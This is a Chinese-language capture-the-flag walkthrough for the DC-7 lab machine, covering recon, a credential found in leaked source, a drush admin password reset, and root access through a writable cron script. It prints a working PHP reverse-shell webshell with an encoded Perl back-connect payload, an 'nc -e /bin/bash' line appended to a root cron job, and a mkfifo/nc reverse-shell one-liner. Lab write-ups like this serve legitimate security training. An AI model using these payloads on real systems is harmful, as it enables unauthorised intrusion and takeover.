目录
DC-7靶场下载地址https://www.five86.com/downloads/DC-7.zip
一. 信息收集
1. 主机扫描
arp-scan -l
2. 端口扫描
3. 目录扫描
扫了半天也没扫出个有用的
4. 信息探测
提示我们跳出思维惯性,换种方法进行渗透,可以发现下面有个@DC7USER
搜索发现,源码泄露了,而且是官方泄露的
二. 渗透过程
1. 代码审计
废话不多说,先查看github上的源码
在配置文件里发现了个账号
dc7user:MdR3xOgB7#dW
2. ssh远程登入
测试发现登不进后台,但是能登进ssh
ssh dc7user@192.168.120.141
探索过程中发现个文件,这里好像还不能提权
cat mbox
发现了个root用户的定时文件backups.sh,接下来看一下文件权限
ls -la
-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限,这里可以作为提权的一个突破口
想写入东西反弹root的shell的,但是没有权限(我就知道没那么简单),不管了,先去瞧瞧里面写有啥
cd /opt/scripts
cat *
发现了个drush命令,这个是drupal专属的一个操作系统命令,参考Drupal drush 常用命令
3. drush修改密码
这个命令需要先切换到drupal的目录
cd /var/www/html
通过命令我们发现了个管理员账号admin
drush user-information admin
接下来修改admin的密码
drush upwd admin --password="passwd"
接着我们登入管理员后台/user/login
登入成功
4. 反弹shell
进入了后台,想办法写个马进行反弹shell
找到了编辑文件的地方,但是没有PHP解释器,但是在扩展里可以安装
PHP解释器Drupal官方连接
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
填入连接后点击安装
文件下载完成,接着启动PHP编辑器
安装完成后在内容编辑的地方出现了PHP code
,接着我们添加php代码
写入PHP反弹shell
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP"; #监听ip
$yourport = 'your port'; #监听端口
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
点击保存后会自动执行该PHP代码,先监听端口再保存
nc -lvp 6666
反弹shell成功,升级交互shell
python -c "import pty;pty.spawn('/bin/bash')"
5. 提权
之前的提权方法都没有用,接下来我们利用root的定时任务进行提权
我们可以写个反弹shell的命令下去
echo "nc -e /bin/bash 192.168.120.129 5555" >> /opt/scripts/backups.sh
写入成功,先监听端口
nc -lvp 5555
接下来只要等待backups.sh文件定时root权限执行就好了
提权成功!
cat /root/*
拿到flag
三. 收获总结
1. 信息收集
信息收集很关键,要善于利用搜索引擎,搜索关键词并寻找突破口
2. Linux文件权限
3. 定时任务Cron
crontab -l #查看定时任务
4. linux反弹shell新姿势
有些操作系统的netcat不支持-e参数,这时候可以利用管道符命令mkfifo配合nc进行反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [监听IP] [监听PORT] >/tmp/f